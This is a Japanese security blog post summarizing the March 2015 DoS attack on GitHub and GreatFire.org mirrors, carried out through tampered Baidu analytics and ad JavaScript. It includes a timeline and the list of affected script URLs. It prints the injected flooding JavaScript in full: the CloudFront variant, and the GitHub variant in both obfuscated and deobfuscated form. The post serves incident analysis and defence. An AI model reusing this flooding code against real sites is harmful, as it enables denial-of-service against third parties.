ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2015-03-29

2015年3月に発生したGithubへのDoS攻撃についてまとめてみた

| 13:59 |  2015年3月に発生したGithubへのDoS攻撃についてまとめてみたを含むブックマーク

Githubが同社サービスに対してDoS攻撃が行われていることを発表しました。一連のDoS攻撃はGreatfire.orgに対して行われているものと考えられ、ここではGreatFire.orgに関係するDoS攻撃の情報をまとめます。

公式発表

GreatFire.org
Github 公式Blog
Github 公式Twitter

タイムライン

日時(JST)出来事
2015年3月17日GreatFire.orgに対してDoS攻撃が開始される。
2015年3月19日GreatFire.orgがAmazon Cloudfrontに設置しているWebサイトに対してDoS攻撃が行われていることを発表。
2015年3月20日GreatFire.orgがミラーサイト(GitHub)に対して攻撃が行われていると報告
2015年3月25日 11時8分GithubDoS攻撃を受けていることを確認し対応にあたっていると発表。
GreateFire.orgがDoS攻撃の詳細についてレポートを公開。
2015年3月26日〜28日Githubへ継続してDoS攻撃が行われていることを発表。
2015年3月28日GithubBlogDoS攻撃について発表。
2015年3月29日 9時50分攻撃への防御を開始して71時間が経過。緩和策の導入によりサービスが安定したことを発表。
2015年3月20時50分Githubが攻撃はまだ継続していることを報告。
2015年3月31日20時11分Githubが通常の状態に戻ったことを報告。

Github側発表の詳細はこちらを参照

1.Amazon Cloudfrontへ行われたDoS攻撃の概要(3月18日〜3月23日)

3月18日以降、Baiduのサービスを利用するWebサイトへアクセスした際に、Baiduの複数のJavaScriptAmazon Cloudfrontに対して2秒おきに接続するJavaScriptに置き換えられていたことにより、当該サービスに対して大量のトラフィックが発生した。

DoS攻撃時に付与されるGETリクエストのアクセス状況(Greatfire.orgレポートより引用)

f:id:Kango:20150331092522p:image

2.Githubへ行われたDoS攻撃の概要(3月25日?〜)

中国国内中国国外から*1Baiduのアクセス統計サービス等を利用するWebサイトにアクセスした際、Baiduウェブサイトで読み込まれるJavaScriptGithubの2つのURLに対し2秒毎に接続するJavaScriptに置き換えられたことにより、Githubに対して大量のトラフィックが発生した模様。GreatFire.orgへ行われたDoS攻撃と方法は同じと考えられる。尚、Baidu社のJavaScriptが置き換えられていた理由についてpiyokangoはBaidu側からの公式発表をまだ確認できていない。

f:id:Kango:20150330090543p:image

DoS攻撃の対象とされたURL

(1) Amazon Cloudfront

次のURLに対して少なくともDoS攻撃が行われたことがGreatFire.orgにより報告されている。検閲対象とされたWebサイトが設置されていたものと推測できるが、いずれの当該URLに対しても現在接続することは出来ない。

(2) Github

greatfireが管理するGithub上の2つのProjectに対して行われた。

対象URL概要管理者
https://github.com/greatfire/GreatFireのProjectgreatfire
https://github.com/cn-nytimes/NYT中国語版のミラーサイトを紹介しているURLgreatfire

f:id:Kango:20150329131932p:image:w360

Github上にはミラーサイトURLiOS向けアプリが紹介されている。

f:id:Kango:20150329112403p:image:w360

ミラーサイトそのものは別のクラウドサービス(Windows AzureAmazon Cloudfront)上に構築されている。

f:id:Kango:20150329112402p:image:w360

DititalAttack Mapのここ数日の状況

DigitalAttack Map2015年3月23日〜28日におけるDoS攻撃の状況は次の状況となっている。25日以降、中国からアメリカに、27日以降はカナダにも攻撃が行われている様子が確認できる。

f:id:Kango:20150329115703p:image:w400f:id:Kango:20150329115702p:image:w400

f:id:Kango:20150329115701p:image:w400f:id:Kango:20150329115700p:image:w400

f:id:Kango:20150329115659p:image:w400f:id:Kango:20150329115658p:image:w400

置き換えられたDoS JavaScript詳細

Baidu社の複数のJavaScriptが何らかの理由により置き換えられていた模様。尚、Github向けに行われた攻撃では置き換えられていたのはHTTP(80)のみでHTTPS(443)は影響を受けていなかったとの報告がある。

置き換えられたと報告があったJavaScript

Amazon,GithubへのDoSスクリプトに置き換えられたとして報告が挙がっているURLは次の2つ。

置き換えられたURLAmazonGithub
dup.baidustatic.com報告あり
ecomcbjs.jomodns.com報告あり
cbjs.e.shifen.com報告あり
hm.baidu.com報告あり報告あり
eclick.baidu.com報告あり
pos.baidu.com報告あり
cpro.baidu.com報告あり
hm.e.shifen.com報告あり
cbjs.baidu.com報告あり報告あり

Amazon側のURLはすべてGreatfireのレポート「Where is the tampering taking place?」より。

(1) Amazon Cloudfront向けのDoS攻撃コード
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime = new Date().getTime();
var count = 0;
function unixtime() {
    var dt = new Date();
    var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000;
    return ux;
}

url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net",
    "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net")

NUM = url_array.length;
function r_send2() {
    var x = unixtime() % NUM;
    var url = url_array[x];
    get(url);
}

function get(myurl) {
    var ping;
    $.ajax({
        url: myurl + "?" + unixtime(),
        dataType: "text",
        timeout: 10000,
        cache: true,
        beforeSend: function() {
            requestTime = new Date().getTime();
        },

        complete: function() {
            responseTime = new Date().getTime();
            ping = Math.floor(responseTime - requestTime);
            if (responseTime - startime < 300000) {
                r_send(ping);
                count = count + 1;
            }
        }
    });
}

function r_send(ping) {
    setTimeout("r_send2()", ping);
}

setTimeout("r_send2()", 2000);
(2) Github向けのDoS攻撃コード

実際に置き換えられていた難読化されたJavaScript

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

http://pastie.org/10056526

以下は可読化したもの。

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

参考 (1) GreatFire.orgとは何か

中国で検閲対象とされているサイトがどれかを確認するサービスを提供しているWebサイトGIGAZINEの解説がくわしい。

f:id:Kango:20150329215939p:image:w500

参考 (2) 置き換えが行われたJavaScriptとはそもそも何だったのか

hm.baidu.com/h.js

「hm.baidu.com/h.js」はBaiduの統計サービスを利用したウェブサイトで読み込まれるJavaScript

f:id:Kango:20150329112404p:image:w640

http://tongji.baidu.com/open/api/more?p=guide_overview

f:id:Kango:20150329113214p:image:w640

正規のJavaScriptサンプルzone.wooyun.orgに接続した際に読み込まれるBaiduJavaScript

cbjs.baidu.com/js/m.js

Baidu広告に使用されるJavaScript

f:id:Kango:20150329140020p:image:w640

参考 (3) Githubの対策で確認されているもの

対象URLでAlertダイアログの表示

置き換えられたJavaScriptからDoS対象とされているURLへ接続すると「WARNING: malicious javascript detected on this domain」とダイアログが表示されるように2つのURLだけトップページが置き換えられていた。別の対策が既に機能したためか、3月31日時点では通常のトップページが表示されるようになっている。末尾のスラッシュを取り除くと通常のトップページが表示される。他のProjectではこのような対応は取られていない模様

f:id:Kango:20150329112401p:image

f:id:Kango:20150329111610p:image

以下動画はGithub側の対策によりアラートが大量表示されるようになった様子。ユーザーが変更可能なページではないため、GreatfireではなくGithub側がとった対策と考えられる。

D

Prolexicが入っていた

事前に確認していなかっため今回のDoS攻撃を受けて導入したのかは不明ながら、Githubまでの通信経路上にDoS攻撃対策サービスを行っているProlexicが入っていた。

f:id:Kango:20150329123536p:image:w640

参考情報

更新履歴

  • 2015年3月29日 AM 新規作成
  • 2015年3月29日 PM 概要図追加。一部加筆。
  • 2015年3月30日 AM DoS発生条件のアクセス元「中国国内」を「中国国外」に訂正。
  • 2015年3月31日 AM 最新情報の反映、Amazon向けに行われたDoS攻撃の概要について追加。

*1中国国内からではなく国外からのアクセスで発生していたとのご指摘をはてブコメントよりいただきました。訂正します。